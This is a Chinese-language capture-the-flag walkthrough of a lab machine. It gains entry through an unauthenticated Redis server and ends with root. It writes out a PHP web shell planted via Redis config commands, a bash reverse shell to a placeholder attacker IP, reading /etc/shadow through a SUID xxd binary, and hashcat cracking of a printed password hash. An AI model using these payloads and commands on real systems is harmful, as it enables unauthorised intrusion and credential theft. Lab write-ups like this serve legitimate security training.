0x01、Enumeration
nmap -p- -sC -sV -Pn -oN nmap $IP
通过nmap可以扫描出开放了80和6379端口,而6379存放了一个6.0.7版本的数据库。
Redis是一个开源(BSD许可证)的内存数据结构存储库,可用作数据库、缓存和消息代理(参考自此)。默认情况下,Redis使用基于纯文本的协议,但是您需要记住它还可以实现SSL/TLS。
0x02、80:HTTP
Apache httpd 2.4.18 ((Ubuntu))
登陆页面是默认的Apache Ubuntu网站页面。当在实际的渗透测试报告中报告此问题时,它将被归类为信息泄露漏洞,因为它让用户知道网站在本地机器上运行的位置。这可能在以后会派上用场。
0x03、6379 : Redist
默认情况下,Redis可以在没有凭据的情况下访问。但是,它可以配置为仅支持密码或用户名+密码。可以在redis.conf文件中使用参数
requirepass
设置密码,或在服务重新启动连接并运行config set requirepass p@ss$12E45
命令,以临时设置密码。此外,可以在redis.conf文件中的masteruser参数中配置用户名。使用以下命令连接到服务器redis-cli -h [IP ADDRESS]
使用
”info”
命令进行判断根据Apache Ubuntu网站页面显示的信息透露,该网站的文件存放地址为
/var/www/html
,所以我们将往该网站下写入一句话木马文件。
config set dir /var/www/html config set dbfilename redis.php set test "<?php system($_GET['cmd']);?>" save
然后在该页面通过get传入一个命令,打印出用户的密码,通过这个方式测试木马写入是否成功
http://10.10.159.16/redis.php?cmd=cat%20/etc/passwd
现在往恶意脚本里写入,反弹shell的恶意代码:
"<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/YOUR_IP/4444 0>&1'\"); ?>"
使用
nc -lvp 444
监听端口,发现返回了www-data
用户,www-data
是许多Linux发行版中的默认用户,专门用于运行Web服务器。该用户用于维护和提供对服务器文件和目录的访问权限,特别是针对基于HTTP或HTTPS协议的Web请求。 www-data
用户通常由流行的Web服务器(如Apache或Nginx)用于安全地管理Web相关操作。如果被害者主机上有python环境,则可以使用下面这段命令来实现一个伪终端
python -c 'import pty;pty.spawn("/bin/bash")'
0x04、特权提升
去到
home
目录下,可以看到用户vianka。现在想切换到vianka用户,我们需要知道vianka用户的密码,最好的途径是通过查看/etc/shadow
文件来查看密码哈希值。但是/etc/shadow
文件往往需要root用户权限才能打开,对此我们可以通过查看拥有SUID权限的文件来打开/etc/shadow
文件。使用以下命令查找拥有SUID权限的用户
find / -perm -4000 -type f 2>/dev/null
可以看到xxd命令工具具有SUID权限,使用下列方法来打印
/etc/shadow
文件xxd /etc/shadow | xxd -r
将打印出来的哈希放入到hashcat中进行解密,
hashcat -a 0 -m 1800 '$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0' /usr/share/wordlists/rockyou.txt --quiet
最终得到密码,通过su命令成功切换到vianka中
切换到vianka后,通过使用id命令查看用户拥有管理员权限,即uid=0,那么可以通过
sudo -i
转换到root用户的终端界面上